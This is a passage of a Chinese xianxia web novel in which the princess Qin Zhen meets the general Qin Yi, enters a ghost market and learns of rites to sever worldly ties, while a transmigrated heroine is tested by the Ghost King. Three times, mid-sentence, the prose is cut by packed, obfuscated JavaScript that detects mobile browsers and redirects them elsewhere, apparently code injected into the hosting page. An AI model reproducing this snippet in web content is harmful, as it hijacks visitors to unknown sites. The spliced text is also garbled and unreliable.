听清鬼王话里的讽意,恐怕旬鹊与同门师兄师姐们的情况并不乐观。她忧心忡忡,脸色不太好看,却听那人语气僵硬的说:“别垮脸了,真没伤他们。” 秦蓁面无表情的看向他。 突然间的四目相对,他极其不自然的迅速移开目光,一会儿才说:“托我押着你的人来了,走吧,带你去见。” “谁?” 鬼王语气嘲讽,却不似对她:“你的老熟人。” * 秦蓁跟着鬼王走了一路,一路都在想他话里的意思,却实在想不出,什么“老熟人”会与地府界鬼王有关系,他们一进百幽境便被抓,定是有人预谋的,关押她在此一个月却不伤人,目的为何? 她握剑的手紧了紧,感受到剑柄的纹路,低头看向她的剑,心下稍安。 “到了。”鬼王说。 秦蓁抬头,他们走到了这座府邸的正厅前的院子里。 “去吧,他在正厅,你最好把剑收起来,小心吓到人。”鬼王嘲弄道。 秦蓁思索一会儿,问:“你也进去吗?” 鬼王像是没想到她会问这个,惊讶一瞬,别开脸:“不进。” 秦蓁便收剑回鞘。前院到正厅的距离,足够她在鬼王的鬼气完全压制住她前,聚灵,或是拔剑出击。 鬼王轻瞥她一眼,便明白了她的打算:“没人会伤你。” 接着又说:“不过,我叫你收剑你便真的收剑了?” 秦蓁没搭理他,抬脚往正厅走,几步后听见身后一声轻笑:“还挺……乖的。” 她脸色一黑,抬手聚灵朝身后打去,被那人挥手打散,他笑容诡异:“你快进去吧,那人有你一直想知道的真相……一会儿你想打的可就不是我了。” 秦蓁实在不想多与这满嘴胡话的鬼王相处,转身快步走向正厅。 走近了,她心想,来人修为恐怕比她高上许多,收敛灵力时她丝毫感觉不到灵力的波动,或许也用了什么隐蔽修为的法宝。 直到她走进前厅,看见那人有些熟悉的一小半侧脸,皱眉开口:“你是……” 那人听见声音,转头,露出一张刀削斧刻般的脸,目光刚毅深邃。 秦蓁错愕:“秦……” 秦奕。 夏属国镇国大将军,秦奕。 她这下明白,为什么自己感受不到灵力波动,因为这人,根本就是个凡人。 同从前的自己一样的,凡人。 他出现在这个属于修真界百幽境的府邸中,破开她一个月前宁静平和的修仙日子,将她扯回凡人的身份,让她那些用修行练剑抵住的记忆,如齐天浪潮般袭来。 “……秦奕。”秦蓁终于从被心脏猛烈跳动压得堵塞的喉咙中挤出这个名字,手已经在她不知觉的时候放在了剑柄上,她摩挲着剑柄纹路,用力握住,她却觉得仅像抓着一根稻草。 自她开口,秦奕便一直将目光锁在她身上,那目光渐渐变暗,直到再看不清眼里的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116422|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “秦蓁。”他也终于开口:“公主殿下,你想回夏属国看看吗?你已离开两个多月了。” 那种蛇鳞紧贴脊背划过的感觉又来了。 秦蓁深深吸气:“……你的东西在京中我名下的府邸前院、右边那颗桂花树下,那底下有把钥匙,出京城郊外沿北直走十里路,有个村落,跟村民打听一下’沈大夫’的住处,去他家旁边那个空屋子,拿钥匙打开后墙角落下埋着的盒子。” 秦奕眼神不变,盯住她许久,才说:“好,我记下了。” 而后两人皆静,气氛压抑。 于是秦蓁再次开口:“你是怎么来到这里的?你与鬼王……” 秦奕打断她:“与他做了交易。战事刚休,得空便来了。” 秦蓁点头,前厅再次安静下来。 秦奕如蛇般一直黏着她的目光让她感到不适,侧了侧身,不再看他:“这事是我不对,抱歉。无论如何,不该……” “你为自保,我理解。”秦奕再次打断了她。 秦蓁一噎,没话说了,有些受不了与他对话的气氛。 她对秦奕是真的有些愧疚的。 两人儿时玩得很好,她听他说过很多家里的事,他说不想按他父亲要求那般活着,但别无他法。她听他说,他参军了,他上战场了,他当将军了,他说他又打了一场胜仗,往后还会打许多的胜仗,为他们共同的家。 她被禁足后秦奕也经常偷偷来找她玩,给她带些新奇玩意儿,直到她十三岁那年解除禁足,出宫散心,意外遇到他,她如从前般兴冲冲喊他,但他用力拽住她抵在墙边,睁着血红的眼睛死死瞪了她许久,最后将她狠狠一甩。 少年将军的力道太大,她被这么一甩,摔在地上,磕破了膝盖和手心,双腿和手臂的血从薄薄春衫渗出。她那时娇贵得不得了,从没受过什么伤,疼得眼前一黑,直掉眼泪,那人却一身杀气叫她赶紧走。 最后是旬鹊很快的找了过来,忙前忙后喊了侍卫大夫婢女来,送她回宫养伤。 而后两年,她少许的几次碰见他,那人每每看她时的眼神都暗得吓人,让她总是想起那天,有些怵他。 她想,大概他与秦胥晏一样,觉得一些人的消失是她导致的,便恨着她,也疏远她了。 再后来,她发现了一些皇室秘闻,急于自保,硬着头皮修书一封喊他前来。 没想到他真来了。 一颗真心,一番算计,一腔怒火。总之,她拿到了先皇写与秦池玉的文书。 那卷文书关乎将军府上下所有人的性命——在秦池玉没有坐上那个位置前。 虽然在最后,她发现还有太多事她尚未明了,自己的许多举动当真有些可笑,但对秦奕,她确实是愧疚的,她没想到他那时那般信任自己。 “你还没回答我。”秦奕开口,将她纷乱的思绪拉回:“你想回夏属国看看吗?你已离开两个多月了。” 秦蓁怔怔,原来才两个多月。 抛开在百幽境被困的这一个月,她在道源宫、在坐忘峰,以凡人之体入道,修行练剑,明悟道心,竟才一个多月,与她过去十五年的时间相比,短得如同眨眼。 她想起师父,想起师姐师兄,想起她背后的,她的剑。心静了下来。 秦蓁露出这些天的第一个笑容,她看向秦奕,像终于理清了什么,终于放下了什么,眼神很柔和。 她轻缓的说:“我不回去了。” 秦奕搭在腰侧刀上的手瞬间一紧。 18. 我死得很难看有错嘛!! “我不回去了。”秦蓁说。 “我没有什么留恋的,所以不回去看了。” 秦奕终于将视线从眼前人身上移开,他垂眸,看向自己挂在腰侧上的佩刀,手搭在刀鞘上,保持一个握刀的姿势。 “你没有什么留恋的?” 他似喃喃自语般,声音很轻。 但秦蓁听清了,修行人通了五感,比凡人敏锐许多。于是她回答:“恩,我没有什么留恋的了,过去如何便如何了,毕竟已经过去,我无法改变。五皇叔爱才惜才,心系百姓,他会是个好皇帝。” “……你恨我吗?”秦奕问。 秦蓁很惊讶:“怎么会?你与五皇叔皆是为了家国百姓,虽然……我父皇母后皆死,但在殿前时五皇叔是想让父皇下罪已诏,保全他的性命的。是他自己……夺了五皇叔的佩刀自刎。” “是我对你有愧,两年前……我不该修书与你,所幸到最后并未出什么事。我也明白,如今已是最好的结局,五皇叔仁厚,你又是战功显赫的大将军,有你们,夏属国会比从前好。” “所以我一点也不恨、一点也不怪你们。” 秦奕看着秦蓁澄澈的双眼,她比方才刚刚见到自己时放松了许多,说出这些话,语气甚至是轻快的。 他握刀的手背青筋暴起,忍耐许久,才哑着嗓子说:“你这个人……真是没有一点私情……” “私情?” 秦蓁想了想,说:“可若我因父皇母后两人的死,将整个夏属国的百姓都置于水火中,那也太过分。你且放心,我修行不是为了报复,我也没有什么仇要报。” “百姓需要好皇帝。” 顿了一下,秦蓁接着说:“反正……他们也不是真的多在乎我,那……我不要了。” “或许曾经,我是真的很需要那点亲情,求不得,也舍不掉,但现在不是了。” “我不需要了,我……我在修真界、有个很好的师门,那里是我新的家。” 秦蓁稍微有些不好意思,但还是慢慢将她想说的话说完了。 秦奕没有应声,前厅一下子又安静下来,秦蓁有些摸不准秦奕的想法,秦池玉已经称帝,那卷文书对他们再无威胁,甚至若出现的时间恰当,还会将秦池玉的名声推得更高,为了这卷文书跑来修真界一趟……有些大费周章,但她又想不到其它的原因。 “你是跨过界碑过来的吗?我听师父说,凡人界与修真界之间有界碑,百幽境往北一些就是凡人界。”秦蓁说。 秦奕回答:“是,秦池玉与修真界有联系,我托他找了鬼王,若是你踏入此地,他会感应到,帮忙扣押住待我过来……抱歉。” 秦蓁皱眉:“为何要如此?你要找我拿回文书,找五皇叔联系肖掌门便好。” “秦池玉与鬼王有交易……抱歉,不便说。押着你是因为我也想见你一面,若你想回去看看,我便带你回去。”秦奕对上秦蓁的眼,收敛了神色,淡淡的说。 “原是如此。”秦蓁松口气,这样看那鬼王说的倒不假,旬鹊与同门师兄师姐们应当没事。 但毕竟一个月没有了他们的讯息,她还是有些忧心的,便对秦奕说:“你还有什么事要问吗?我该去找我同门师兄师姐了。” “若是你没找到那卷文书,你派人来说声,我回去找找,但应当不会有什么意外的,你放心便好。只是我的通讯玉牌被那鬼王压制失了效用,不然……问问鬼王有没有通讯法宝?你拿着可以随时与我联系。” 秦奕看向她的眼神又变得压迫感十足,如蛇身紧缠猎物,让她微微蹙眉。大抵因为秦奕自小便上战场厮杀,又肩负许多责任,少年将军的气势并不意气狂傲,反而稳重到有些沉郁,身上肃杀的气息像是化不开一般。 他像在做什么艰难决定,思考了很久。看来他们与鬼王的交易仅是交易,并没有达到同盟的程度,否则要一个通讯法宝应当是很简单的事,不至于权衡利弊这么久。 终于秦奕开口,低低说道:“不了,你去找你的同门吧,我也回去了。” “你的人备了马车吗?我送送你,此一别,恐怕不知何时才能再见了。”秦蓁说。 秦奕看着秦蓁,她离开了皇宫,身上不再穿那些华贵却繁琐的衣裳,仅一身素白衣,用一条浅蓝发带挽了黑发,脸上也未施脂粉,干干净净,气质很是温和。 他说:“你变了一些。” 秦蓁似想开口,又有些疑惑,他笑笑,说:“这里没有我的人。” “你变了一些,你这样更好。不必送我了,我有传送玉牌,这便回去了。” 秦蓁愣愣,说好。 刚刚有一瞬,她莫名感觉秦奕失魂落魄,但话音落,那种感觉又消失了。 秦奕拿出传送玉牌,手捏着准备用力,秦蓁突然想起,如今自己修炼了,寿数会比凡人长得多,可能下次见面,秦奕已经成了个白发老者了。 她匆匆说:“秦奕!待我找到同门历练完,此间事了,我会回去看看的。” 秦奕仍是淡淡的笑,说:“再见。” 秦蓁也说:“再见。” 玉牌被捏碎,转眼前厅仅剩秦蓁一人,她这时才有了一点与故人告别的感觉。 不知何时才能相见了。 秦蓁走出前厅,来到院子里,那鬼王竟然还在。 “出来的这般快,你问完你想知道的了?” 秦蓁点头:“你们的交易应该就此完成了吧?你不应再扣押我的同门了。” 鬼王抱臂望着她,说:“你的同门还真不一定愿意出来。” “为何?他们现今在……” 鬼王懒散的笑,脚点了点地:“地府界。” * “所以……地府界,竟是在百幽境地底……”秦蓁低叹。 “是啊,百幽嘛,自然是有很多幽魂在,才叫这个名字。”鬼王随口回应,聚起一抹鬼气,打向秦蓁。 秦蓁迅速反应,拔剑抵挡,那鬼气扑面便散,她警惕将灵力运转一周,却并未有什么不适。 鬼王见她这般反应,脸色很臭:“早都说了不会伤你。” 秦蓁抬眼狐疑的盯着鬼王,他脸色更不好了,隐有怒火:“只是给你打道鬼气掩盖生人气息。自己找你的同门去,别吓到我这儿的小鬼。” “生人不能进?那我同门……” “都给了鬼气了!” 鬼王早知她要问什么,略有些烦躁的打断她:“我说了,不会伤你,他们没事,你怎么就是不信我。” 还没等秦蓁开口,他便从那懒懒散散的样子变得冷厉,像一把刚开刃的刀:“罢了。你自去找,找到了带他们回地上去。我刚出关,多的是事要做。” 说完便直接破空消失了,留秦蓁在原地沉思——她觉得这个鬼王真是莫名其妙, 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秦蓁吓了一跳,惊呼声还未出,那面目狰狞的人立刻捂住了自己的脸,向她道歉:“对不住,对不住,我的易容丹吃完了,正要去买呢,吓到小鬼了,对不住。” 秦蓁愕然,不知该说些什么,有路过的人看了眼,啧啧道:“刀疤兄,你怎么又这样出门啊?又吓到小鬼了!” 刀疤兄遮着脸,支支吾吾:“吃完了!吃完了,正要买呢……” 又一个路过的人探头过来:“刀疤兄又吓到小鬼了?你可长点记性,万一又把小鬼的魂吓飞了咋办啊。” 接着又有好几个路人这般说了两句,那刀疤兄竟然呜呜哭了起来:“我死得难看有错吗!我也不想这样死的……呜呜呜……” “又哭了。”“刀疤兄太在意自己死时的样子了!易容丹才老是失效。”“哎呦何必呢,大家不都是死鬼了。” 一窝人叽叽喳喳了一会儿,摇头挤回人群,继续沉浸在这热闹的街市中。 秦蓁好半响才回过神来,错愕万分,愣得不知道该先迈自己的哪只脚走路。 “诶,小鬼,凝神,回回魂,稳着点魂别让魂飞了,凝个躯体多不容易啊。”有人拍拍她的肩,说。 秦蓁迟疑的转头,所幸没有看见骇人的面孔,眼前男子普通的样貌愣是端正了十分,她朝人点点头,表示谢意。 “哇!你死前的样子好好看!”那人惊叹。 秦蓁硬着头皮礼貌道谢,那人说了几句“新来的小鬼记得去买易容丹”“没被吓得魂飞出去就好”,便继续逛街去了。 秦蓁不知道地府界的规矩,只得顺着话应声,她虽然明白地府界的“人”都是些鬼,但原本却不觉如何,直到刚刚那番对话结束,才觉得有些发麻。 缓了一会儿,想起还要去找旬鹊和同门人,她随着人群往前走。 没走一会儿,又被人拍了拍肩膀。 秦蓁做了点心理准备,慢慢转头,竟看见一张熟悉的脸。 * 秦奕捏碎了玉牌,回到将军府,府中下人早已被他支开,院中仅他一人,从前此方地界常年天阴,如今却日日艳阳高照了。 风吹过,院中落叶纷纷扬扬。 他明白,他与秦蓁自始至终是两路人,不应多留恋,天地广阔,满目山河。 彼方山长水远,从此人生不相见。 19. 鬼王他就是喜怒无常无理取闹 “……林赴川?” 秦蓁有些失落,她还以为是旬鹊。 “果然是你,方才我看过来便觉得有些眼熟。”林赴川说:“你身上的鬼气倒是比道源宫另外几个人的重得多……” “你见过我的同门?他们在哪儿?”秦蓁急切道。 林赴川目光微微一顿:“他们解尘缘去了。我听他们说了你们的事,但他们被关了两天后就放来鬼市了,你却一直没消息……你是刚出来?没出什么事吧?” 秦蓁的担忧总算放下,看来同门师兄师姐确实都还好,她说:“我没事,是我从前的……王兄……有事找我,耽搁了一些时间。” 她有些生涩的将“王兄”这个称呼说出来,她与秦奕之间基本都是称呼姓名,秦奕其实很不喜欢他的名字,但比起这个名字,他更讨厌自己喊他王兄,对他的父亲秦池玉也是直呼其名。秦蓁倒是能理解,秦奕并非五皇叔亲生,这道皇室秘闻背后牵引着许多人。 她问:“解尘缘是什么意思?”见林赴川表情惊讶,她解释:“我从前是凡人,这次才算真正出来历练,很多事并不清楚。” 林赴川回答:“修行需心无旁骛,许多人对某些人和事执念难放,便是‘尘缘’。江湖上有些人卜数通天,许多人为了修炼更顺畅,会去找他们了结尘缘,鬼市便有一位能解尘缘的大能。” 原是如此,尘缘未了确实很影响修行问道,但能绊住人的尘缘,真的那么好解开吗? 秦蓁这般想着,便也这么问了:“若是解不开呢?” 林赴川眼神微闪:“斩。” “解不开,便斩掉。”他声音有些低,语气没什么起伏。 秦蓁却感觉,他在难过。 “你是要去找你的同门吧?我带你去解尘缘的地方。”林赴川说完,侧身,示意她一起走。 秦蓁跟上,问:“你呢?你怎会来这里?” “那颗通玉兽内丹的买家在鬼市,宗门有几位刚入门的师弟师妹正好接了百幽境附近的任务,长老便让我带他们一起来百幽境历练。我抽空来交内丹,再接一些鬼市交易区的任务。”林赴川说。 “鬼市的任务?” 林赴点头:“恩,我在准备请人铸剑,要多赚点灵石。我从前在青剑宗习剑时,一直用的是我师父的剑,如今在孤鸿院,同门大多使刀,我独自练剑,还是想要一把真正属于我的剑。” “还有……”林赴川转头看秦蓁,说:“欠债了,雪上加霜。” 秦蓁看着林赴川一言难尽的表情,想起了他俩在裂谷底下大手一挥就上交秘宝的举动,叹气:“以后捡到秘宝一定留下卖钱……” 林赴川跟着叹气,两人像刚入地府界的小鬼一样,垂头丧气的走在街上。 他们走出了热闹的街道,走进一个村庄里,这村庄看着也很普通,不过村子大、村落多,有许多“人”。 林赴川说:“这村庄里都是些残魂,记忆不全,不愿入鬼市生活,亦不肯放下执念转世投胎。能解尘缘的人便在这里。” “修道之人常来地府界,不会有什么影响吗?”秦蓁问。 “有,我们修灵力,鬼修鬼气,鬼气缠身自然于修道不利,会阻碍灵力运转。但其实若是鬼气控制得当,是不会渗进人的体内的,只是大多数的鬼都不会控制自己的鬼气。”林赴川说:“所以回地上去后,需要驱散鬼气。” 秦蓁想起自己突破金丹时师姐给的驱散鬼气的法宝,问林赴川:“你可有什么通讯法宝?我的玉牌似乎没了效用,已有一月没能联系上师门了。” 林赴川摇头:“不是法宝的问题,地府界满是鬼气,用灵力驱动的法宝自然没效用,待回地上的百幽境便好了,若是无法联络,便是有实力很强的鬼修在附近,法宝被鬼气镇压住了。” 秦蓁想起鬼王,心下郁闷,恐怕就是因为他三天两头过来,她的玉牌才一直没法用。 不过如今她与秦奕见过了,他们的交易完成,应当不会再来了,待找到同门,再上去给师父他们报个平安。 秦蓁跟着林赴川走到一个竹木屋前,里面传来咳嗽的声音,接着是汤匙碰撞药碗发出的清脆声响,然后一道很虚弱的声音传来:“来解尘缘的人,将名字写在玉牌上放到石板,自己去旁边井里打水,找个客栈喝了睡一觉。” 林赴川扬声:“前辈,我们前来寻人,道源宫的几个弟子,您可知他们现在何处?” 屋里的声音静了一会儿,说:“有四人在鬼市逍遥客栈,还有一人虽然喝了井水,但我算不到。来头不小,自己留心。” 似乎一次性说了太多话,那人又咳了很久,接着有放下药碗的声音。 林赴川皱眉,还想问什么,秦蓁拉住他,也扬声说:“我知晓了,多谢前辈。” 林赴川看向秦蓁,秦蓁摇头,说:“去逍遥客栈吧。” 她知道,算不到的那个人,是旬鹊。 她不怎么担心找不到旬鹊,因为她会来找自己。 两人往村庄外走去,在一个拐角处被个鬼魂扑面穿过,秦蓁回头,是一个看着和她差不多大的女孩残魂,模样很精致,她眼神呆滞,看了秦蓁半天,又扑过来,被林赴川伸手凝了鬼气挡住了。 “她不是残魂,只是身上的鬼气重。”林赴川说。 女孩残魂呆呆点头,慢慢转身,嘴里嘀咕说怎么还没人来接我。 林赴川向秦蓁解释:“残魂和普通的魂不一样,他们没有实体,你身上鬼气重,大概她误会了。鬼市外给人打鬼气的侍卫没有这般重的鬼气,能打出这种鬼气,实力快赶上鬼王了,是什么稀有法宝吗?” 秦蓁收回落在女孩身上的目光,说:“是鬼王。” “竟然……”林赴川震惊半响,叹道:“竟是鬼王。这地府界鬼王倒是与传闻中差别很大,传闻他喜怒无常手段残忍,但鬼市这般热闹,没有生人来喊打喊杀,却也并未封闭,生人经核验后亦可入鬼市,如此好秩序,当真是下了一番功夫。” 秦蓁见了鬼市,也对那满嘴胡话的鬼王有所改观,只是其中“喜怒无常”还有待商榷,并且她还要补一个“无理取闹”上去。 他们正要走出村庄,刚刚那残魂女孩却跟了上来,喊道:“不对呀,她就是一抹魂呀!” 林赴川凝起鬼气,伸手抓住残魂的手臂,阻止了她往秦蓁扑去。 残魂女孩被抓住,很委屈的说:“你看,你能凝鬼气,她却不凝,只能被我穿过,你是正常的鬼魂,她是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15116424|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残魂。” 林赴川说:“你在这个村子里,应该知道我们是来解尘缘的人,并非鬼魂,我身上有能凝鬼气的法宝。” 残魂女孩精致的脸上俱是疑惑不解:“又不是没有鬼来解尘缘,我看你们就很像鬼啊……” 这话对生人说出来怕是有些找打,林赴川皱起眉,秦蓁倒是很好脾气,说:“我身上的鬼气是你们的鬼王打的,所以你感觉我很像鬼。” 那残魂女孩大抵因为是个残魂,有些缺陷,没能理解秦蓁的话,依旧疑惑盯着她。 “罢了,我们走吧,这具残魂残缺得太厉害,应该也出不了这个村庄。”林赴川松手放开残魂女孩,散了鬼气。 秦蓁见与那残魂女孩解释不通,也就没说什么,抬脚准备走。 那残魂女孩经过漫长的思考,终于明白过来他们方才的话,看着两人的背影,后知后觉的问:“你们是生人?那你们有没有见过承定?他怎么还没派人接我呀……” 秦蓁聚然一惊,转身:“谁?” 残魂女孩还是呆呆的样子,说:“承定呀,秦承定,爹爹说皇上指婚,他是我的夫君,日后我是要做皇后娘娘的,我还学了好多宫中礼仪呢。” 秦蓁感到全身的血液都在倒流,耳边响起秦池玉的那句话:“二十年前你父皇登基,先皇为他选的皇后,便是孟家之女孟亭栀。” * 旬鹊在鬼市逍遥快活了一个月。 他们一行人来到百幽境,果然立马被鬼王的人抓住了,押了两三天左右便又被放出来,被告知秦蓁有尘缘未断要去处理,几位同门师兄师姐便商讨说也去鬼市解自己的尘缘,旬鹊随着一起去了,还喝了那解尘缘的井水——有些甜,蛮好喝的,旬鹊想。 然后自己果然什么也没梦到,她的尘缘早在她飞升前便断了。同门师兄师姐们还在梦境中解尘缘,解尘缘不是个容易的事,他们还要睡很久。她离开逍遥客栈,开始她的逍遥快活,这一个月来,她在鬼市吃喝玩乐,快把鬼市一整条街都吃遍了。 剧本里,女主这回见了秦奕,与他回了夏属国,了解了那场皇室纷争的真相,虽然因为不想夏属国百姓接连受改朝换代的影响,她没有当时就杀了秦池玉,但却逼他吃了毒丹,让他隔几天便浑身剧痛一次,待后来秦胥晏及冠,她再回夏属国杀了秦池玉,向世人撕下了这人蛰伏多年来披在野心上的伪装,扶秦胥晏上位。如此也算解了尘缘,还了她皇帝老爹和肖拭云孟亭栀一个公道,又让这江山依旧属于自家人。 原本旬鹊还担心,百幽境这个中后期的剧情突然跑这么前,这个情节会不会也跑偏崩掉,但一个月了秦蓁还没来,定然是回夏属国去了。 她放了心,也给自己放了个假,拿出一打纸钱在鬼市报复式消费,灵石她没有,纸钱管够! 鬼市的吃食比她想象中好吃得多,快赶上凡人界的吃食了,她因着那丝天道气息,也不怕里面的鬼气,这一个月来她过回了咸鱼人生,很是享受。 今日她照常来街上,先买了个枣糕吃着,准备逛逛看书斋的话本上新了没有,她正想得津津有味,突然被人点了点,定住了身形,接着整个街道瞬间一空,一个男声响起:“我从前并未见过你,你为何会在此?” 20. 好险,差点凉了 旬鹊认出来,这是鬼王独有的技能:领域。能拉他点中的那个人进他的领域,领域之内的一切皆随他心意。 完蛋——这是旬鹊的第一想法。 鬼王是真正强大到手眼通天的人,天道的规则限制他摸得很清楚,亦明了“大道”本质。他以雷霆手段将地府界统一,建立鬼市,让世间万鬼有了归处,几乎没有鬼怪出来为祸人间,喧闹安稳的鬼市将它们死前的怨恨养淡,也重新养出它们的喜乐来——这个堪称桃花源的地方,是它们的家。 修真界的人对百幽境和地府界也几乎没什么芥蒂,鬼怪不再是个肆虐人间的恶词,与那残暴的魔界彻底分割开来。 可惜剧本里,因为百幽境突然大乱,鬼王为护百幽境和地府界,一人抵千军,又硬抗天雷,女主的剑指向他时,他已虚弱万分,被轻易杀死。 但鬼王凭一己之力做到这般,意味着什么,旬鹊作为天道派下的任务者,再清楚不过。 “我是天道派下的任务者。” 旬鹊不打算隐瞒,因为根本无法隐瞒。 “来护一个人,助她得道飞升。” 鬼王抬手虚点她眉心,一丝鬼气从他苍白修长的手中冒出,钻入旬鹊眉心,鬼王面色冷厉,看她的眼神让她想起剧情中说鬼王“看谁谁死”,原先觉得不过是个修辞手法,现下她有些信了。 但那丝鬼气入体,并未有任何不适,鬼气绕着她的经脉游走一周,回到了眉心,点了点之前苏逐布的那个小阵法。 “驱散寒气的阵法?”鬼王如沁入霜雪的冰冷声音响起,下一刻旬鹊眉心剧痛,喉头一阵发紧,她竭力压制,仍有血从口中不断溢出。 旬鹊痛得全身都在颤抖,不同与苏逐当初用灵力碾压她的经脉,虽然痛,但也能勉力忍耐,且仅仅是痛,并不伤人。 而鬼王这丝鬼气,是真如摧枯拉朽,似乎想将她抹杀。 旬鹊感到鬼王的杀意,再顾不上走火入魔和苏逐的阵法,冲破桎梏,修为一路从金丹跨元婴、化神、渡劫、合道、直至飞升。 她聚起全身灵力抵抗,却听鬼王冷笑一声,轻而易举将她飞升期的修为压下,鬼气狂暴,碾碎她的经脉,袭卷她的识海,剧烈的疼痛让她几近失去自主意识,脑中发麻,真真正正的濒死感漫上她的心口。 没想到下一刻那鬼王将鬼气收回,甚至修补好了她被鬼气碾碎的经脉,灵力重新回到她体内,沿周天游走,一息间,她恢复如初,唯有嘴边血迹表明方才一切皆是真实存在。 “天道的人,记住今日的痛,你们顺应天道毁去的那些事物,便是这般痛过千万次。” 话落,领域消失,身旁街道嘈杂,人潮熙攘,她闻到面饼糖糕的香味,耳边有嬉笑打闹的声音。 旬鹊明白的,天道之下的所有小世界,都这般剧烈的、却又无声无息的、被碾碎重组过许多次。 这是威胁,是警告,亦是让站在天道视角的她,体验被这般对待的无能为力,和那足以泯灭所有意志的力量。 她慢慢抬脚,随着人群走。 * 秦蓁将自己的名字写在玉牌上,放到那竹木屋门口的石板,再去旁边的井里打了水,她犹豫了一会儿,还是开口问:“前辈,我不能确定我的尘缘是不是真与她有关,如此也能梦到她吗?” 微弱的声音断断续续:“可。你想解什么,便会梦到什么,有些尘缘过深,占据人所有的心神,但其它稍浅的尘缘,并不是对人没有影响。” 秦蓁道谢,喝下解尘缘的水。 方才她听见那残魂女孩的话,便知晓了她是孟亭栀。 秦蓁难以置信,母后……孟亭栀,分明是在两个多月前的皇室纷争中,死在自己眼前的,就算她心有执念不愿转世,她的魂也应当是她死前的样子,而不是一个看着比自己还小些的女孩,甚至,是个残缺过多,只有一点片段意识的残魂。 她问了那残魂女孩许多问题,可她大多都不明白,答不上来,只有两句话说得最多,一句是“承定怎么还不派人来接我呀”,另一句是“我是京中孟家之女孟亭栀,我爹爹是朝中大官,兄长是镇国将军,我们孟家是一等一的名门望族,我自然是要做皇后娘娘的”,她这两句话在秦蓁的认知里,错得相当离谱,世家贵族中并没有孟姓,而镇国将军,分明是秦奕。 但这抹残魂年纪尚小,可能她说的是前镇国将军,可能其中发生了什么,孟家从世家贵族除名,最重要的是,她说她叫孟亭栀,她在等秦承定接她做皇后。 仅这一句,她便不可能无动于衷。 并且,残魂女孩,与自己母后长得并不像。哪怕年纪小了点,但眉目面容也该是相似的,可她的脸与自己记忆里母后的那张脸,完全不同。 残魂女孩长相精致,一双细眉柳叶眼,虽然话语带些活泼可爱,但长相是很端庄典雅的,而自己母后的眼睛是双杏眼,面容清丽,笑起来却带了点明艳。 秦蓁满心疑虑,觉察出从前的许多事大抵与她知道的完全不同,沉思良久,打算尝试着去解开这节尘缘。 她之前便已决定放下,无论真相如何,她都不会再被困在其中。她要修行悟道,如此,解尘缘亦是为了明悟道心。 “你尘缘已解吗?”秦蓁与林赴川到了逍遥客栈,分别时,秦蓁问。 “未解。”林赴川说。 “为何不解?”秦蓁见林赴川神色低迷,问:“你已尝试过,解不开吗?” 林赴川摇头:“我没有试过,但大抵是解不开的。” 秦蓁想了想,露出一个清清浅浅的笑:“我从前想,若是一些事让我再经历一遍,我一定不愿,哪怕能从中寻出破局的方法,但那些痛苦依旧存在,我能自己慢慢放下,便不想再回忆起那些过往。但有时觉得,试一下也没什么,若我对过往不甘心,再怎么避开,其实心底也还是想试一下的。” 林赴川看着她,也笑:“为何与我说这些?我原先看你,本觉得你性子有些冷,不会愿意与人多说这类话的。” 少年剑修一身青衣,抱剑站在门边,腰背笔直,气质如竹。 但秦蓁对上林赴川的眼睛,觉得里面确有什么让他蒙尘。 她说:“因为欣赏你的剑意,觉得你该去证自己的道。” * 林赴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119286|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川一直想着秦蓁的话,想着她清浅的笑。想着想着,竟走到了解尘缘的村庄前。 他从前练剑,无人不夸赞他的好剑意,他也自觉剑心通明,直到他被托给孤鸿院的长老,人人不可惜他一个使剑的被丢到一堆使刀的人之中,怕是再无人能授他剑招,天才剑修恐要沉寂。 他埋头练剑,剑招越练越好,剑意也越发凌厉,可那些人依旧说,他会就此沉寂。 他于是明白,他们并未真正去看他这个人。自己的剑意如何,他们并未感受,便说一个剑心碎了的师父教出来的徒弟,又被扔到刀修中,可怜,可惜,再修不成剑心。 唯有秦蓁,看着性子淡,却会认认真真看他是怎样的一个人,从他这个人,去看他的剑,他的剑意、剑心、剑道。 林赴川已经走到那间竹木屋前。 他问:“前辈,确信解不开的尘缘,喝了尘缘水,会如何?” 屋里传来飘渺的声音:“重忆过去,走火入魔,或坚定道心,若是后者,纵使尘缘未解,心性坚定,亦无惧悟道。” 林赴川轻笑,虽然自己的尘缘是真的解不开的,但既已想通,便也无惧重忆从前,喝下尘缘水,步入尘缘梦,也并没有多难以接受。 他道了谢,提笔将自己名字写上玉牌,放在竹木屋前的石板上,打了井水,喝下,回逍遥客栈,待梦入尘缘。 * “她竟去解尘缘了……”鬼王喃喃道。 